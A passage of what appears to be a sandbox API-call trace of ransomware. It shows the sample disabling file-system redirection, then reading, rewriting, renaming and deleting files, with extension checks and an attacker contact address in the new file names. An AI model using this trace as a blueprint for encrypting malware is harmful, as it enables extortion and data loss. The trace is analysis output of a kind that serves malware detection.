(in: hFile=0x338, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.759] WriteFile (in: hFile=0x384, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf2, lpOverlapped=0x0) returned 1 [0092.759] SetEndOfFile (hFile=0x384) returned 1 [0092.759] CloseHandle (hObject=0x384) returned 1 [0092.759] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.759] SetEndOfFile (hFile=0x338) returned 1 [0092.760] CloseHandle (hObject=0x338) returned 1 [0092.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.761] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 1 [0092.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.761] lstrlenW (lpString=".doc") returned 4 [0092.761] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.761] lstrlenW (lpString=".docx") returned 5 [0092.761] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0092.761] lstrlenW (lpString=".pdf") returned 4 [0092.761] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.761] lstrlenW (lpString=".xls") returned 4 [0092.761] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.761] lstrlenW (lpString=".xlsx") returned 5 [0092.761] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0092.761] lstrlenW (lpString=".ppt") returned 4 [0092.761] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.761] lstrlenW (lpString=".zip") returned 4 [0092.761] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.761] lstrlenW (lpString=".rar") returned 4 [0092.761] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.761] lstrlenW (lpString=".bz2") returned 4 [0092.761] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.761] lstrlenW (lpString=".7z") returned 3 [0092.761] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.761] lstrlenW (lpString=".dbf") returned 4 [0092.761] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.761] lstrlenW (lpString=".1cd") returned 4 [0092.761] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.762] lstrlenW (lpString=".jpg") returned 4 [0092.762] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.762] lstrlenW (lpString=".doc") returned 4 [0092.762] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.762] lstrlenW (lpString=".docx") returned 5 [0092.762] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0092.762] lstrlenW (lpString=".pdf") returned 4 [0092.762] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.762] lstrlenW (lpString=".xls") returned 4 [0092.762] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.762] lstrlenW (lpString=".xlsx") returned 5 [0092.762] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0092.762] lstrlenW (lpString=".ppt") returned 4 [0092.762] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.762] lstrlenW (lpString=".zip") returned 4 [0092.762] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.762] lstrlenW (lpString=".rar") returned 4 [0092.762] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.762] lstrlenW (lpString=".bz2") returned 4 [0092.762] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.762] lstrlenW (lpString=".7z") returned 3 [0092.762] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.762] lstrlenW (lpString=".dbf") returned 4 [0092.762] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.762] lstrlenW (lpString=".1cd") returned 4 [0092.762] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0092.762] lstrlenW (lpString=".jpg") returned 4 [0092.762] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.763] lstrcmpiW (lpString1=".jsa", lpString2=".NEWS") returned -1 [0092.763] lstrlenW (lpString="classes.jsa") returned 11 [0092.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.763] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=18677760) returned 1 [0092.763] CloseHandle (hObject=0x338) returned 1 [0092.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21 [0092.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0092.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0092.766] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.766] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0x0) returned 1 [0092.766] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0092.766] ReadFile (in: hFile=0x338, lpBuffer=0x35f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x35f1058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0092.771] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0092.771] ReadFile (in: hFile=0x338, lpBuffer=0x3631058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3631058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.247] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.248] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0093.248] ReadFile (in: hFile=0x338, lpBuffer=0x3671058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3671058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.265] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.265] WriteFile (in: hFile=0x338, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2adfca8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfca8*=0xc0102, lpOverlapped=0x0) returned 1 [0093.281] SetEndOfFile (hFile=0x338) returned 1 [0093.281] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3da3a30 [0093.287] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0093.287] WriteFile (in: hFile=0x338, lpBuffer=0x3da3a30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da3a30*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0093.288] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0093.288] WriteFile (in: hFile=0x338, lpBuffer=0x3da3a30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da3a30*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0093.587] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0093.587] WriteFile (in: hFile=0x338, lpBuffer=0x3da3a30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da3a30*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0093.589] HeapFree (hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30) Thread: id = 11 os_tid = 0xc2c [0060.854] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x571190 [0060.855] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3700048 [0060.856] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8ad0 [0060.856] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x52e1b8 [0060.856] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8b78 [0060.856] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3805020 [0060.860] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8bc0 [0060.860] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8bc0, Size=0x20) returned 0x4ced38 [0060.860] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c50 [0060.860] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8c50, Size=0x20) returned 0x4ceba8 [0060.860] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0060.860] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0060.860] Wow64DisableWow64FsRedirection (in: OldValue=0x2c1ff50 | out: OldValue=0x2c1ff50*=0x0) returned 1 [0060.860] lstrlenW (lpString="kernel32.dll") returned 12 [0060.860] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0060.860] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.860] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceba8 | out: hHeap=0x490000) returned 1 [0060.860] Sleep (dwMilliseconds=0x64) [0061.134] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0061.134] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0061.134] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0061.138] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=144072) returned 1 [0061.138] CloseHandle (hObject=0x2c8) returned 1 [0061.138] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0061.138] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.138] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0061.138] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.138] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.138] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0061.139] GetLastError () returned 0x0 [0061.139] ReadFile (in: hFile=0x2c8, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x232c8, lpOverlapped=0x0) returned 1 [0061.158] WriteFile (in: hFile=0x2f0, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x232d0, lpOverlapped=0x0) returned 1 [0061.162] ReadFile (in: hFile=0x2c8, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.162] WriteFile (in: hFile=0x2f0, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0061.162] SetEndOfFile (hFile=0x2f0) returned 1 [0061.163] CloseHandle (hObject=0x2f0) returned 1 [0061.169] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.169] SetEndOfFile (hFile=0x2c8) returned 1 [0061.171] CloseHandle (hObject=0x2c8) returned 1 [0061.171] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.172] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0061.172] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.172] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.172] lstrlenW (lpString=".doc") returned 4 [0061.172] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.172] lstrlenW (lpString=".docx") returned 5 [0061.172] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0061.172] lstrlenW (lpString=".pdf") returned 4 [0061.172] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.172] lstrlenW (lpString=".xls") returned 4 [0061.173] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.173] lstrlenW (lpString=".xlsx") returned 5 [0061.173] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0061.173] lstrlenW (lpString=".ppt") returned 4 [0061.173] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.173] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.173] lstrlenW (lpString=".zip") returned 4 [0061.173] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.173] lstrlenW (lpString=".rar") returned 4 [0061.173] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.173] lstrlenW (lpString=".bz2") returned 4 [0061.173] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.173] lstrlenW (lpString=".7z") returned 3 [0061.173] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.173] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.173] lstrlenW (lpString=".dbf") returned 4 [0061.173] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.173] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.173] lstrlenW (lpString=".1cd") returned 4 [0061.173] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.173] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.173] lstrlenW (lpString=".jpg") returned 4 [0061.173] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.173] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.173] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.173] lstrlenW (lpString=".doc") returned 4 [0061.173] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.174] lstrlenW (lpString=".docx") returned 5 [0061.174] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0061.174] lstrlenW (lpString=".pdf") returned 4 [0061.174] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.174] lstrlenW (lpString=".xls") returned 4 [0061.174] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.174] lstrlenW (lpString=".xlsx") returned 5 [0061.174] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0061.174] lstrlenW (lpString=".ppt") returned 4 [0061.174] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.174] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.174] lstrlenW (lpString=".zip") returned 4 [0061.174] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.174] lstrlenW (lpString=".rar") returned 4 [0061.174] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.174] lstrlenW (lpString=".bz2") returned 4 [0061.174] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.174] lstrlenW (lpString=".7z") returned 3 [0061.174] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.174] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.174] lstrlenW (lpString=".dbf") returned 4 [0061.174] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.174] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.174] lstrlenW (lpString=".1cd") returned 4 [0061.174] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.174] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0061.174] lstrlenW (lpString=".jpg") returned 4 [0061.174] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.175] lstrcmpiW (lpString1=".cmd", lpString2=".NEWS") returned -1 [0061.175] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0061.175] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0061.175] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=577) returned 1 [0061.175] CloseHandle (hObject=0x2c8) returned 1 [0061.175] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0061.175] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.175] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0061.175] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.176] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.176] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0061.176] GetLastError () returned 0x0 [0061.176] ReadFile (in: hFile=0x2c8, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x241, lpOverlapped=0x0) returned 1 [0061.553] WriteFile (in: hFile=0x2f0, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x250, lpOverlapped=0x0) returned 1 [0061.554] ReadFile (in: hFile=0x2c8, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.554] WriteFile (in: hFile=0x2f0, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x104, lpOverlapped=0x0) returned 1 [0061.554] SetEndOfFile (hFile=0x2f0) returned 1 [0061.554] CloseHandle (hObject=0x2f0) returned 1 [0061.555] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.555] SetEndOfFile (hFile=0x2c8) returned 1 [0061.557] CloseHandle (hObject=0x2c8) returned 1 [0061.557] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.557] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0061.557] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.557] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.557] lstrlenW (lpString=".doc") returned 4 [0061.557] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0061.557] lstrlenW (lpString=".docx") returned 5 [0061.557] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0061.557] lstrlenW (lpString=".pdf") returned 4 [0061.557] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0061.557] lstrlenW (lpString=".xls") returned 4 [0061.558] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0061.558] lstrlenW (lpString=".xlsx") returned 5 [0061.558] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0061.558] lstrlenW (lpString=".ppt") returned 4 [0061.558] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0061.558] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.558] lstrlenW (lpString=".zip") returned 4 [0061.558] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0061.558] lstrlenW (lpString=".rar") returned 4 [0061.558] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0061.558] lstrlenW (lpString=".bz2") returned 4 [0061.558] lstrcmpiW 